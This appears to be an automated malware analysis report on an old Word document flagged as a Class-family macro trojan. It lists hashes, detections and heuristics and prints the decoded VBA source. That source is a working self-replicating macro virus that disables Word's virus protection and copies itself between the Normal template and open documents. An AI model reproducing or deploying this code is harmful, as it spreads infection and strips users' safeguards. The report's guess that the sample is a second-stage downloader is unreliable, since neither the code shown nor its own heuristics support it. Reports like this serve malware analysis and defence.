Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b06641b960b647de…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-03-08 00:22:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c7a93b974d5fb723e48fdf38ed1cd319 SHA-1: be5e97812ad8071e35d2ea49037de72c80547e4b SHA-256: b06641b960b647de9b690a3da9e92558bd439663dcc160af686a6280e268ed68
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros, specifically AutoOpen and AutoClose routines. These macros are designed to copy themselves between the Normal template and the active document, and to modify their own execution routines. This behavior is characteristic of macro-based malware loaders that prepare to execute further malicious code, likely a downloader for a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Trojan.Class-9 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-9
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1024 bytes
SHA-256: 53c3390cc802bbcd568e0ccebe489fdbd0474325d5cc45ab0d50b0c967195b91
Detection
ClamAV: Doc.Trojan.Class-9
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



























Sub AutoOpen()
'1nternal
On Error GoTo BreakOut
Set N = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
Set A = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
If Day(Now) = 16 And (Month(Now) = 10) Then MsgBox "1nternal / Class.Insert"
If N.Lines(29, 1) = "'1nternal" Then GoTo TestA
    For I = 1 To 50
        N.InsertLines I, A.Lines(I, 1)
    Next I
    N.ReplaceLine 28, "Sub AutoClose()"
TestA:
If A.Lines(29, 1) = "'1nternal" Then GoTo BreakOut
    For I = 1 To 50
        A.InsertLines I, N.Lines(I, 1)
    Next I
    A.ReplaceLine 28, "Sub AutoOpen()"
BreakOut:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.